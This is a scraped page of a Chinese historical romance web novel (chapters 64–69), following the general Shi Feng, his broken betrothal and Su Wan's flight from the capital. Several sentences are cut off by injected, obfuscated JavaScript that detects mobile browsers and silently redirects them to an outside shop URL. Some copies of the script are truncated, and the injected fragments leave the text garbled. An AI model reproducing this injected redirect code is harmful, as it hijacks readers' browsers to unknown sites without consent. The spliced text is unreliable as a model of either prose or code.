l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091394|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈恪老眼转了转,“你这臭小子,还想糊弄老夫?我还不知你那点心思?分明是你抢了温侍郎未婚妻,欲占为己有。山匪不过是你找的借口!老夫绝不允许此等强取豪夺之事发生。” 哪知时枫挺了挺胸膛,梗着脖子道:“既然伯父提到此茬,小侄今日就把话说清楚,省得彼此互相猜忌,听风便是雨。你且听好,” “我时枫今生今世,非苏绾不娶,至此立誓,天地为证。” “至于我与沈枝意订立的婚约,未经我本人同意,自当无效,即刻取缔。” 此言一出,震惊四座。 沈枝意小脸憋屈通红,泪眼道:“枫哥哥,你怎能对我这般无情无义?我、我恨死你了。”言毕转头捉裙悲愤离门。 沈恪气得半死,恨不得一刀剐了此子。他右手抓着胸膛,捶胸悲愤道:“逆子,逆子!你可知婚娶之事,不待父母之命,媒妁之言,私相授受,逾墙相从,父母国人皆贱之。你不忠不义不孝不悌,可还有脸苟活于世?老夫当为你爹感到心寒!” 时枫长身玉立,神情坚定自若,态度不卑不亢,“大丈夫一生一世,只寻一双人,绝不有二心。” 他态度强硬,一点回寰的余地都不留,令沈恪倍感意外。老将军原以为,时枫不过是一时被美色冲昏头脑,稍加以劝诫阻拦,浪子回头金不换。孰料时枫跟他父亲脾性如出一辙,一心认准的事情,撞了南墙也不回头。 沈恪慨叹道:“你自是大丈夫何患无妻,我的卿卿又何去何从?她为你吃的那些苦头,受的那些伤痛,你竟视而不见听而不闻,也忒轻贱卿卿。” “老夫今已上奏关于海贼扰民之事,圣上也已下定裁断。此行目的既已达成,自不必再叨扰府上,收拾行囊趁早离开,省得遭人唾哕。” 言毕,沈恪遽然起身,随手掷了茶盏,拂袖愤愤离去,空留时枫一人独醒。 但他一点都不后悔。 (未完待续) 65. 隔墙 「朦胧幻境,秋陂满黄叶。 风吹着挂在树梢的金黄树叶,发出沙沙的响声。不时有只金花鼠仓惶逃窜,嗖嗖地爬上枝条。湛蓝的天空,没有一丝云彩,空气中充溢着清冷的味道。 正是狩猎的好季节。 时枫骑着银白色的踏月,手持弯月弓,威风八面,英姿飒爽。他目光炯炯,鹰一样的眼眸紧盯周围,不放过任何蛛丝马迹。 忽然灌木丛传来动静,悉悉索索,似藏什么动物。 时枫拉满弓,瞄准猎物,蓄势待发。 箭飞出弦那一瞬,鹰眼忽然捕捉到不远处的一匹枣栗马,踢踏嘶鸣而来。 只一个眼神,他便看出骑马的主人是谁。 手里微微一抖,嗖得一声,羽箭偏离目标,扎进灌木丛,惊跑一只雪白的玉兔。 “时将军,我们又见面了。”苏绾一身戎装,齐肩短发显得精神干练,颇有女将风采。 她什么时候学会了骑马?西厂御马监被人控制的传闻,如今确信是真的。 凤眸斜睨了一眼,男人收起弯弓,态度冰冷如霜,“这次又打的什么坏主意?” 佳人捋了捋额间被风吹散的青丝,甜甜笑了笑,“将军这话说的,忒令奴家寒心。难道这皇家猎苑,是为将军一人开放的吗?” 玉手握着缰绳,星眸沉了沉,“识时务者为俊杰。将军不会到现在,还看不清朝堂风云变换吧。” 温如初出差杭州任巡抚之时,趁机勾结海寇,霸占漕运税收,所得银钱,一半奉送阁老,另一半中饱私囊。反手栽赃嫁祸殷潜,致其官败落狱。 而温如初凭借此功,顺利入阁,成为百年之内最年轻的大学士。 下一个目标,便是威武将军时枫。 倘若他“识时务”,他便是阁老;不懂变通,他便是殷潜。 天堂与地狱,尽在一念之间。 时枫摩挲束腕镶嵌的墨玉,凤眸剪了剪,“本将军怎么想,这与你无关。” 苏绾莞尔,“怎会与奴家无关?想必将军还不知道吧,阁老他,活不长了!” 这话什么意思?阁老与她的关系,早已人尽皆知。 时枫凤眸一凛,“放肆!” 苏绾策马凑近时枫,齐肩短发尤其俊俏,眼眸溢满星辉,“奴家打赌,将军绝不会置身事外,袖手旁观。浪潮翻涌,谁也不能保证翻不了船。咱们走着瞧。” 闭上眼,香风吹人花乱飞。 再次睁开眼,秋风瑟瑟,亭台楼阁。 手里擎着金刀,刀刃滴血。 膝下跪着无头尸,颈间鲜血喷涌。 头颅骨碌碌,滚向天边。 她说的对,他怎能置身事外?推她跌入万丈深渊的凶手,他一个都不会放过。 阁老只是第一人。 碰巧,也是杀害他哥哥时樾的人。 下一个,是谁呢?」 * 第二日,阴雨连绵,愁肠待酒舒。 时枫做了一整夜怪梦,梦中内容匪夷所思,他梦见自己亲手斩杀首辅章任梁,原因却不是为时樾,而是为了替苏绾报仇。 至于苏绾与阁老结仇的缘由,他更是不愿回想——她怎可能沦为阁老的玩物? 岂有此理,荒谬绝伦。 各种思绪线索化作难缠小鬼,鬼哭狼嚎,跳踉擂鼓,吵得他脑瓜仁子一跳一跳地疼。 午夜梦回,再难将息。时枫一大早挣扎爬起床,召唤晴雷给他洗漱更衣。 时枫睡不安稳,折腾得晴雷一宿也未睡好,不是添床被褥,就是端茶倒水。 少年打着呵欠,嘴里嘟嘟囔囔,一脸不情愿,“属下是带刀侍卫,可不是暖床婢女,这等梳洗打扮之事,竟还要属下来做。爷也不说娶房妾室,再不济,买通房丫鬟也成啊。” 时家这位世子爷,平生不近女色,房里不得任何贴身侍妾,出入仅有晴雷伴几名小厮。 自打来到京城之后,偌大府邸更是连个年轻丫鬟的影子都看不到,只有几位从西北带过来的老嬷嬷,伺候他的起居日常。 以他的身份地位,三妻四妾稀松平常,这世道无人诟病他。 可他就是不愿意。 也不知他哪根神经不对劲,还被邵云礼嘲笑断袖之癖。 晴雷话未说完,头顶吃了时枫一记爆锤,“就你话多。赶紧收拾东西,拿上我的葡萄酒,咱们去厢房会见沈伯父。” 晴雷睁着眼睛,一脸茫然,“爷昨日才惹恼了沈老爷,气得他老人家晚饭也没吃就躺下了。这会子人家睡得正酣甜,爷偏去惹他不高兴,不是往枪头上撞么?” 时枫边走边穿衣,嘴里催促道:“快点快点,去晚了他们说不定就打道回府了。” 他预料的没错,沈家父女两人早早起身,命令下人打点行李,收拾细软,大包小包准备返乡。 沈恪坐在太师椅内,手里端着紫砂茶壶,对嘴嘬茶顺气。昨日被时枫触了眉头,气得他胸闷气短,一晚上没睡安稳。 沈枝意站在窗前,袅袅婷婷,手里抚弄右臂缠绕的绷带——画舫残殇,嘟着小嘴抱怨:“此行铩羽而归,卿卿就算归家,心里也不痛快。” 沈恪放下茶壶,叹口气道:“他话已说到那份上,爹爹也不好再厚着老脸皮求他。左不过咱们先回去,待我入秋专门动身去趟西北,跟他爹告上一状,叫他爹好好教训教训他。” 老眼凝望窗边倚阑的爱女,宽心安慰道:“卿卿莫担心,枫小子最听他爹的话,这事准保能成。当初可是他爹那个老家伙死皮赖脸求我定亲,我还不愿意呐。” 话虽如此,沈恪自己心里也没底——时谦也是个老顽固,还真就不见得会顺着他的意思来。 沈枝意的明眸透着恨意,“也太便宜了苏绾那个娼妇,勾引得枫哥哥变心,竟然冷情冷意解除婚约。” “卿卿好不甘心啊。”小拳头砸在窗边,震落一层漆灰。 “非要想个法子,治一治那婊子,让她不敢招惹枫哥哥才是。”小小人儿咬牙切齿,捏拳抗议。 “哎呦,小祖宗,你可得注意言行。在家跟爹爹这样没大没小也便罢了。出门在外可不许这样,被人听见笑掉大牙。” 沈恪面上假装微微嗔怒,嘴角却是带着宠溺的笑意。 女儿乃将门之后,行大事者,不拘小节,关键要有一颗不服输的心。 哼,那个苏女,仰仗一张臭皮囊,内里空空如也,拿什么跟他的卿卿相比。 茶甘不上眉,时枫不期而至。 沈恪乜斜着老眼,掸了掸衣袍上沾染的浮尘,“贤侄不必再劝,老夫这就动身离府,此去归飞识所従,了无牵挂一身轻。” 说着,催促仆人收拾,“快点快点”,大有马上动身离开的意思,一刻都不想多停留。 时枫俯身拜道:“伯父忒羞煞小侄也。此系过往皆小侄过错,小侄负荆请罪,肝脑涂地,冰心一片在玉湖。” 他突然抛出一套道歉的说辞,令沈恪十分懵然,不知他变脸为哪般。老将军按着太师椅椅臂,身子向前倾了倾,“你何错之有?” 时枫转身接过晴雷递上的夜光杯,亲自斟满葡萄酒,双手呈送,诚恳道:“昨儿个小侄思考整夜,忽而醍醐灌顶。婚姻大事,父母之命,媒妁之言,岂容儿戏。请容小侄收回前言,遥启伯父宽恕。” 沈恪瞥了一眼窗边的沈枝意,见她搓弄双手不言语,当下心里明白女儿的意思。 老将军捋了捋花白胡须,“说出去的话,泼出去的水,怎能说收就收。你当我们卿卿是什么人?召之即来,挥之即去。此番便是你八抬大轿来请我们,也不会再踏入府上一步。” 时枫见他态度强硬,心里先是慌了一阵,手里端着的酒杯也不知该不该放下,站在那里尴尬丛生。 他舔了舔灰白嘴唇,艰涩道:“伯父既不肯原谅小侄,小侄自知罪孽深重,也别无他法,唯乞求伯父逢年过节,再来家里坐坐。” 言毕,丢弃酒杯决绝离开。晴雷连忙拜了拜沈恪,紧跟着跑出门。 老将军一愣,“这、这臭小子,没说两句话就跑了,这哪里是负荆请罪的样子?” 沈枝意哼得一声,“无事献殷勤,非奸即盗。枫哥哥定是有事要求咱们,特意跑过来道歉。昨日下午大理寺卿邵大人来过,俩人关门畅谈许久,一准是为了苏绾的事。指不定想让爹爹出面,调停她与温侍郎的婚事呢!我们才不要帮他们呢!” “好好,爹爹全听卿卿指挥。”沈恪站起身,“卿卿指哪里,爹爹就冲向哪里。可是卿卿,你这番离开枫小子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162235|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,下次指不定何日再相逢,你受得住么?” 沈枝意恨道:“不急,不久温侍郎即南下杭州,必会带着苏绾陪同,而枫哥哥也会想尽办法跟了去。所有人途径苏州时,咱们再出手治死小娼妇。” 苏州乃沈枝意的本家,不但水陆交通便利,更有她阖族亲眷支持。沈恪的根基在苏州,二十万水师屯兵名义上监视倭寇,实则保存属于他自己的军事力量,纵是兵部与皇帝,也不能随意调遣。 既做此打算,沈氏父女连午饭也没吃,当日即驾车离开京城。 那边时枫负气夺门而出,细雨带风铺面,却是肠子都要悔青。 他本意是想讨好沈恪,让沈恪出面向皇帝保荐他,任命他为抗倭战略指挥使,跟着一起南下。他算盘打得不错,然而这厢话头都没机会提起半个字,就被人冷脸拒绝之。 早知今日,何必当初。 昨日豪情万丈,誓言破口而出,这会子真是穷途悔短计,恨不得捶死自己。 眼下也无他法,只好另做打算。 晴雷上前道:“苏府的鳐鱼来信,言苏夫人一早离开京城,赶赴钱塘老家。苏姑娘一切安好,只是感染风寒,又不肯吃药。” 时枫眉头蹙了蹙。 晴雷继续道:“温侍郎那边暂时没有动静,小厮说他家少爷很少回府,都是宿在皇宫户部衙门书房。隔壁镇南王府也是静对一炉香,听说王爷抱着御猫,到太后寝宫诉苦去了。” 自败走陆展元一步棋之后,温如初竟然没有下文,实属罕见。时枫十分确定,温如初绝不会放过他,可是为何对方偃旗息鼓,不再发动进攻了呢? 思来想去,时枫终是不能安心,他吩咐晴雷:“备马,我要出去一趟。” 晴雷问道:“爷要去哪里?胳膊上的伤口还未愈合,不若让属下上太医院请人来给瞧瞧?爷若担心被人看穿伤疤来源,大不了属下再去趟鬼市,请那位活神仙老道诊治……” 时枫打断晴雷,不耐烦地摇手,“我没事,请什么太医。你还敢提那牛鼻子老道士,上次他狮子大开口,敲诈本将军三千两,怎么还想再上当受骗?” 低下头,突然想起什么,“等等,别看那老道疯疯癫癫,胡诌八扯,在时樾的事情上倒是没有撒谎。之前我有些急于求成,也没细问他来龙去脉。明日你可再去鬼市请了他来,记住,不许承诺他一文钱。” 晴雷领命退下,出门才想起来,自己忘记问时枫备马去往何处,也不敢再叨扰他,遂作罢。 黑夜降临,乌云压顶。 时枫一身玄衣,趁着浓浓夜色掩映,悄然来到紫竹苑。 他踩着墙面洼坳,轻轻纵身一跃,似飞燕般翻过高墙。 脚踩软绵落叶,不发一点声响。 来到西厢房门外,躲在梨木窗前,隔着一扇薄薄墙面,侧耳倾听屋内人说话。 无霜拍拍胸脯后怕道:“没想到山寨里发生的一切,竟是如此地骇人听闻。小姐真真勇敢,换作霜儿,早死了一万遍。” 春蝉惊道:“什么?时将军竟然受伤了?当初时将军来山里时,连最好的猎手也比不过他,无论弓箭、马术,还是搏斗,全部心服口服,我爹这才让我跟着时将军,说这样才会出人头地。” 无霜瞟了一眼春蝉,“你是敌人派来的奸细,专门监视小姐,你是坏人。” 春蝉急道:“时将军交给我的任务,我必须完成啊,再说,再说我也没办啥坏事。时将军担忧二小姐安危,他的好心怎可被人轻易辜负?” 无霜愤愤不平,“黑狗将军不安好心,巴不得要将小姐吃干抹净!你这是助纣为虐。” 两小丫头你一言我一语吵个不停,吵得苏绾头昏脑涨,她摆摆手,示意两人停战,“他害我也罢,为我好也罢,总归是他一厢情愿,并不能左右我的思想。人为什么一定要活在别人的阴影里?我只消做我自己就够了,谁都无法掌控我的人生。” 门外时枫听得震撼,不知从何时起,疯癫婆娘似乎已经找到属于她自己的前途归路,不再需要他的庇佑。 他苦心孤诣的契约,变成一纸空谈。 她会逃离他的束缚,渐行渐远,永远地离开他。 而他,将孤独终老。 想到这些,令时枫感到不寒而栗。 66. 意外 第三日,沉云晦暗苍龙阙。 一大早,晴雷便骑马赶赴位于城南的鬼市,寻访那位“活神仙”老道士。 有了上次的受骗经验,晴雷收敛了锋芒,以黑布遮面,露出一双明眸,外观上与鬼市的江湖隐者相比,并无二致。 鬼市人头攒动,魑魅魍魉横行。晴雷躲在暗处,悄悄打探老道行踪。 果不其然,在一处偏僻街角,老道揪着一名打扮朴素的小厮,捋起破烂一口钟衣袖,狮子大开口,非要对方预付一百两定银。 小厮汗如雨下,弓着腰跟老道讨价还价,据理力争,但以他的口才和素质,局势明显不占上风。 晴雷瞅着小厮眼熟,一时又想不起来是谁。他顿了一顿,上前一步,横眉冷怼:“他只是遵从主人命令的仆役,手头哪有银子,你这分明是在难为人!” 岂知老道并不买账,两手掐腰骂道:“关你屁事?要么定钱你来付。” 这老道素来贪得无厌,晴雷吃过他的亏,一时气不过,非要给牛鼻子一点教训尝尝。 他握住腰间的雁翎刀,噌的一声,刀刃滑出刀鞘,刀锋寒光曝射。 “先要问问我的刀,答不答应。” 雁翎刀乃锦衣卫专属佩刀,因形似雁翎而得名,乃当朝名刀。 老道果然见过世面,老眼瞥了一眼刀鞘,立刻怂了,揣着破烂衣袖,嘟囔道:“好嘛好嘛,算我倒霉,定钱免去,今日破例,走一遭赔钱买卖。” 晴雷哼的一声,“算你识相。”侧身飒爽收刀,抬脚准备走人。 “多谢公子帮忙解围。” 小厮感激地冲他笑了笑,笑容浅淡,宛如冬日暖阳,令晴雷心底莫名颤了一下。 他大咧咧地摆摆手,“对付这种奸诈,就不能给他好脸色。一定要出刀快狠准,专打他七寸,他自不敢招惹你。” 言毕,潇洒甩袖离去,留下小厮怅然若失。 目送背影渐渐消弥,文竹攥了攥拳,心里暗自慨叹:自己若有他一半的勇气,血海深仇也不至于沉积十年之久。 那边晴雷在老道面前耍足了威风,飘飘然好不得意,握着雁翎刀,趾高气扬地迈方步。 可他没走两步,忽然一拍脑壳,惊呼:糟糕!爷让他办的事情,完全抛诸脑后。 他又赶忙掉头返回追踪老道,越追越觉得蹊跷。两人一前一后,走走停停,东扰西绕,貌似躲避眼线跟踪。 直至一路行至城西巷口,他才恍然大悟: 原来那位小厮,竟是苏府的杂役,而那老道是被请来做假脸的! 晴雷骇然,当下急急返回东城时府,将所见所闻禀报给时枫。 波风水门,林云楼阁。 男人身子深深埋入书房太师椅,两腿慵懒交叠搭在案边,手里随意拨弄墨金双色同心结络子,脸色沉寂,毫无表情。 她果然是要逃离他。 晴雷见时枫杵着不动,急道:“不拦住苏姑娘吗?” 拦住她的人,拦不住她的心,又有何用? 不是这样的道理,晴雷劝道:“爷会后悔的!” 后悔?他早已悔得肠子都青了。当初怎么就偏偏着了疯婆娘的道了呢? 自家世子爷竟然无动于衷,晴雷几欲疯狂,叫道:“苏姑娘怎么想,属下不得而知。可属下清楚爷的心思,倘若爷就此放手,日后定会怪罪属下劝诫不力,到时候吃鞭子的,可是我啊。” 他端地什么心思?此刻他没有任何想法! 时枫啐了一口,“要你管我!她爱去哪里就去哪里,我管不着,也绝不可能反悔!” 话音未落,忽然门外守卫急报:“兵部尚书陆大人发来通城鸡毛信,命将军即刻西城门集合点卯。” 手里的络子,倏然坠落在地。 * 一个时辰后。 时枫目送苏绾离去,心内肝肠寸断。他恨自己执迷不悟,没有在第一时间阻止苏绾,虽然不见得拦住她的人,和心,但至少能免除灾祸的发生。 她一闺阁女子,哪里晓得朝堂的利害。区区一个陆展元,不过六品芝麻官,能碾压他的人物大有人在。 为何没人敢动他? 因为他爹是正二品兵部尚书啊!六部中的“大司马”,七卿之一,负责掌管全国卫所军官的选拔授予、训练、车辆、武器管理等政令。 莫说时枫小小卫所指挥使不济,就连他爹绥靖王时谦,都要礼让陆能三分。福建浙江都指挥使沈恪,也只能说和时谦联手,尚能扛得住陆能。单拉出来任何一方,尤是心有余而力不足兮。 此事恐怕无人能解。 然而他没得选择,苏绾是他的命,他怎可弃之不顾,临阵脱逃。 时枫咬咬牙,攥紧缰绳,快马加鞭返城。 踏月铆足了劲,马蹄逶迟荡漾,仅用半个时辰,狂奔六十里地,直抵西城门。 城门戒严,巡城兵马司派遣上百名金甲守卫,手举长矛,巡逻查探。各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196959|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路人马齐聚一堂,兵部、刑部,其中竟还有上直卫的锦衣卫。 锦衣卫掌直驾侍卫、巡查缉捕,专理诏狱。可自行逮捕、侦讯、行刑、处决,所处理案件“三法司”无权干涉。 正三品锦衣卫指挥使李鹤鸣,时年二十六,身穿飞鱼服,腰挎绣春刀,骑一匹高头骏马,威风凛凛,吩咐手下查访附近民居。 时枫纵马经过,打着呵欠,假装问候:“怎么,李大人也被拉来执行公务啊。” 李鹤鸣同时枫打过几次交道:上个月端阳节,李鹤鸣奉旨查办鸿胪寺徐引贡银贪墨一案,在诏狱曾与时枫对过徐引的口供。 彼时李鹤鸣一眼看出徐引的小妾有问题,并直接给徐引上了大刑,急得礼部尚书徐遮跺脚哭晕过去。 此人极其难缠。 李鹤鸣瞟了一眼对方,嘴角撇了撇道:“陆能发布了通缉令,全城方圆三百里,一只蚂蚁也不准放过,李某就是想躲也躲不成啊。试问京城之内起的一桩民杀官之祸乱,干我皇宫上直卫锦衣卫何事?陆能的蠢儿子被人剃成骟驴,还得要咱们来背黑锅,真是够了。” 抬眼上下逡巡一遍时枫,乌黑的眼眸闪着精光,问道:“李某打见到时将军才从城外返回,可是去往京营?沿途有何发现?” 时枫握着缰绳,漫不经心道:“昨日福建都指挥使沈恪沈老将军启程返乡,我自去京营做些准备,添些补给送他一程。今日恰巧刚返回,就听到了这样一桩大事。” 他转了转眼珠,反过来试探道:“李大人可有查到任何线索?” 李鹤鸣摇摇头,“罪犯极其狡猾,手段阴狠,不像是初犯,现场未留一点痕迹。据守卫士兵所报,乃一车四人,三女一男,年龄均在四十岁以上。发现时已晚,此刻贼人恐怕早已出城溜之大吉。” 时枫眉毛一斜,“那还不赶快出城追捕,所有人马在此逗留做甚?” 李鹤鸣叹道:“你当他陆能不想抓人吗?实在是圣上突然下了一道手谕,紧急召陆能入宫,不晓得出了什么天大事情。我们这群人,就被生生撂在这里。手中无驾帖,谁去给他追凶呢?” “哦?”时枫好奇道:“能有什么事情,逼得陆能竟然连亲儿子都不管不顾了?” 李鹤鸣凑近身子,沉声道:“听说,是皇后娘娘那边出了意外。后宫内部封锁消息,圣上将内阁五位大学士,以及兵部尚书陆能、礼部尚书徐遮、户部尚书梁才,全部都召回宫了。” (未完待续) 67. 士族 又过了一日,天空始见晴朗。 时枫自醉仙楼归来,一夜畅饮酣谈,喝得酩酊大醉,身子摇摇晃晃。踏月驮着他,一路酒气熏天,惹畜生不满地鼻子呼气。 李鹤鸣亦是喝了不少,弓着腰拖着长腔道:“贤弟啊贤弟,你别以为自己隐藏得很深。你的那点鬼蜮伎俩,我李鹤鸣一眼就把你看穿透。” 时枫不满道:“哥哥这话说的,忒不中听!咱们拜了把子,从此结为异姓兄弟,不求同年同月同日生,但求同年同月同日死。都生死之交了,小弟还有何可隐瞒的?” 李鹤鸣嘿嘿笑道:“你当我不知道?整个京城都传开了,都说绥靖王世子爷,拐跑了温侍郎的未婚妻!你小子还搞什么山寨剿匪,呸!我信你才怪。黑风寨自打被人收编以后,再没做掳掠抢劫之事,你没事剿它干嘛?” 醉言醉语令时枫心内陡然一震,不为自己东窗事发,而是在于收编黑风寨的“毒蛇堂”,乃跑江湖的漕帮,大内密探锦衣卫又怎会知晓? 他强压醉意,故意喊冤叫屈:“他温侍郎乃朝廷新贵,我吃了豹子胆,哪里敢抢他的妻?哥哥忒冤杀小弟也。” 补充道:“哥哥处在大内深宫,怎知宫外面血雨腥风。那黑风寨惯来打家劫舍,杀人放火,小弟这是为民除害。” 李鹤鸣啐了一口,“你真是撒谎都不脸红啊,杀人放火的另有其人。为兄跟你透漏一桩秘密:其实吧,这批人都是朝廷放出去的傀儡,里面还有我的人呢,目的在于控制民间反动力量。再说了,你哪只眼睛看见他们杀人放火?那都是为了吞并各地帮派。” “都是权谋。哦~”李鹤鸣咂么咂么牙,打出一个响嗝。 每个字皆让时枫感到震撼,瞬间酒醒了大半,他抹了把脸,囫囵道:“又没经过三书六礼、八抬大轿迎娶进门,她嫁给谁还未定。怎么就是我抢她呢?为何不是她主动上门求我庇护呢?” “呸呸呸,刚才是谁说,‘他温侍郎乃朝廷新贵,我吃了豹子胆也不敢’,这会子又说人家姑娘上赶着求你娶她。啧啧。” “你小子还真不要脸!” 李鹤鸣醉眼朦胧,唠唠叨叨,在路口处同时枫分别。 剩下时枫一人独醒。 他伏在马背,任由踏月踢踏,腰间墨金络子摇晃,心里愁肠已断无由醉。 她在路上可好? * 马车经过彻夜狂奔,一路疾驰,终于离开京城地界,进入河间府一带。 带的油饼还剩一半,四人分吃了一点。苏绾身子骨单薄,哪里经得起舟车劳顿。再加上风寒作祟,食物在胃里打了个转,又原路返回,喷涌而出。 无霜轻拍苏绾后背,疼惜道:“不若小姐先在驿站歇息两天,养好身体再出发。这样子折腾下去,好人也被治死了。” 苏绾咳嗽不断,趴在窗口喘息:“不能停。追兵随时将至,沿途还有暗探,咱们能跑多远就跑多远。” 文竹自知惹祸上身,低头道歉:“都是小的有错,是我发昏犯浑,连累了二小姐。” 苏绾无力地摆摆手,“不关你的事,就算你没有那么做,他们照样派兵追捕我。咱们出了顺天府,情况就会好些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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犹记得穿过昏暗长廊,来到一间砖砌屋子。室内差不多的糟糕,苔藓附着潮湿墙面,光线映衬下隐隐发黑。房间正中摆放铁制大案,后面一堆不知名的刑具。诏狱采用了半地下结构,且墙壁极为坚固,牢不可破。内部管理森严,就算只送个东西,都需要多道程序,想要从中越狱,无疑痴人说梦。 他抚摸着那些冰冷的刑具,上面已经发黑发霉,闻之一股刺鼻的血腥味。 兄长告诉他,所谓“全刑”分五大类,即械、镣、棍、拶、夹棍。人称全刑为“五毒俱全”,犯人受刑之时呼叫声沸然,血肉溃烂,宛转求死不得。 唬得他连忙丢掉手里的刑具,面色惨白,双手攥拳,瑟瑟发抖。 一入诏狱,九死一生。 如今看来,也不算他太胆小。 光是整夜闻听隔壁传来的惨叫声,已然让他心力交瘁。 他并非畏惧自己身体遭受刑罚,他那一身铜筋铁骨就算皮开肉绽,他也不会皱一下眉。 一切皆因那隔壁被审讯的犯人,就是看守西门的城门郎。 城门郎被人从巡城兵马司的监牢提出来,转入诏狱,在他的眼皮子底下接受刑罚。 目的就是为攻心。 要让他精神防线彻底坍塌,从而主动交代罪行。 他忍受不了,别人因他受折磨。 他咬牙硬挺了一夜,直到黎明拂晓,隔壁渐渐没了动静。 兵卫抬进一卷破草席 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240042|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,散发一股血腥味,重重丢掷时枫面前。草席自动摊开,露出恐怖内容。 一条半裸死尸,浑身衣物扯烂成碎布条,周身划满血痕,分不清哪处是皮肉,哪处是衣襟。四肢夹杂浓重炙烤焦糊味,令人更加疑惑,此物是人是豚。唯有那张没有血色的面孔,依稀可辨生前容颜。 那双怒目而睁的眼,死也不肯闭合,正紧紧盯住时枫,仿佛粘滞一般,牢牢抓住心脉。 李鹤鸣负手立在面前,嘴角斜了斜,“贤弟,莫怪为兄不讲情分。你若肯交代戕害陆展元的嫌犯来龙去脉,城门郎也不至于命丧黄泉。何必这么嘴硬较真呢,自讨苦吃不是?” 时枫双手束缚高举头顶,他冷笑一声,“陆能哪只眼睛看见是我阉了陆展元?他怎么不想想,自己儿子是个什么德行?上至八十老妇,下至五岁幼童,街边妇孺见了他,都要窝着腰夹着腿走路,生怕被他看上。想找陆展元报仇的人,多如牛毛,陆能该去站街,挨家挨户查找才对。” (未完待续) 69. 摆渡 时光牵利舸,一眨眼,又过了十日。 历经连日不断的长途跋涉,苏绾一行人终于踏入了山东的疆域。 “启禀二小姐,前方便是黄河之渡——泺口,对岸便是济南府的地界。因渡河的费用颇为昂贵,我们的马车不宜继续使用,依小的来看,不如将马车卖给商埠,更为合算。”文竹方才探路归来,便将所见所闻一一禀报。 他面上的伪装,经过十日的风吹日晒,已开始剥落,乍一看去,仿佛是画皮被撕裂的女鬼,长相颇为惊悚。那些被他问路的行人,没把魂吓飞,实为难得。 苏绾微微颔首,道:“价钱不必过于计较,只要合适便可,毕竟我们急于赶路。” 这一路,幸得百户长的护送,后半程的行程颇为顺畅,再无贼寇之扰。 苏绾亦曾想过,是否该停下脚步,向百户长问候几句。但转念一想,何必自寻烦恼?既然已成功逃脱,便不应再回头。 她抬头远眺,见山没清波,帆挂浮云,前途充满了未知与冒险。心中的不安与忐忑,始终难以平息。 春蝉与文竹乔装成父女,驾着马车沿着河岸四处打听商埠的位置。留下苏绾与无霜,路边负责看管行李。 渡口之处,人潮涌动,商铺与摊贩林立,呈现出一派热闹非凡的景象。 济南,坐落于齐鲁之地,自古以来便是华夏诸侯争夺中原、问鼎天下的要冲。 泺口,因盐运而兴盛,因黄河而繁荣。作为东盐西运、南粮北调的关键节点,泺口渡口对于国家而言,战略地位至关重要。 苏绾与无霜自幼生长于京城之中,从未踏出过京城的边界。如今突然置身于一片陌生的土地,所见所闻皆令她们感到新奇。 苏绾尚能保持镇定,而无霜却难以抑制内心的好奇,用那双老眼四处张望。 街对面有一家渔获店,店前摆放着一排木盆,盆中盛着黄河之水,养着小鱼、小虾以及泥螺等物。 无霜蹲在木盆前,忍不住伸出干枯如枝的手,轻触泥螺的外壳。 然而,就在这时,“啪”的一声,卖家用捞网击中了她的手背,“不买勿动。”卖家语气凶狠:“这么大年纪,连点规矩都不懂。” 无霜尴尬地站起身,嘟囔着嘴,转身离去。 突然,一队车马疾驰而过,车轮不偏不倚地撞上了无霜,将她撞飞数丈之远。 马车只是稍微摇晃了一下,却没有停下步伐,继续向前疾驰。 苏绾站在街对岸,目睹了这一幕,心中惊恐万分,仿佛全身的血液都凝固了。倘若无霜有个三长两短,她自己亦无心独存于世。 她急忙奔上前去,双臂展开,拦住了那辆疾驰的肇事车马,厉声喝道:“休想逃走!” 车夫被这突如其来的人影惊到,急忙拉紧缰绳,马车队伍猛然停下,后面的人发出不满的抱怨声。 苏绾上前紧握缰绳,怒视车夫,大声斥责:“撞了人还想逃逸,天理何在?!” 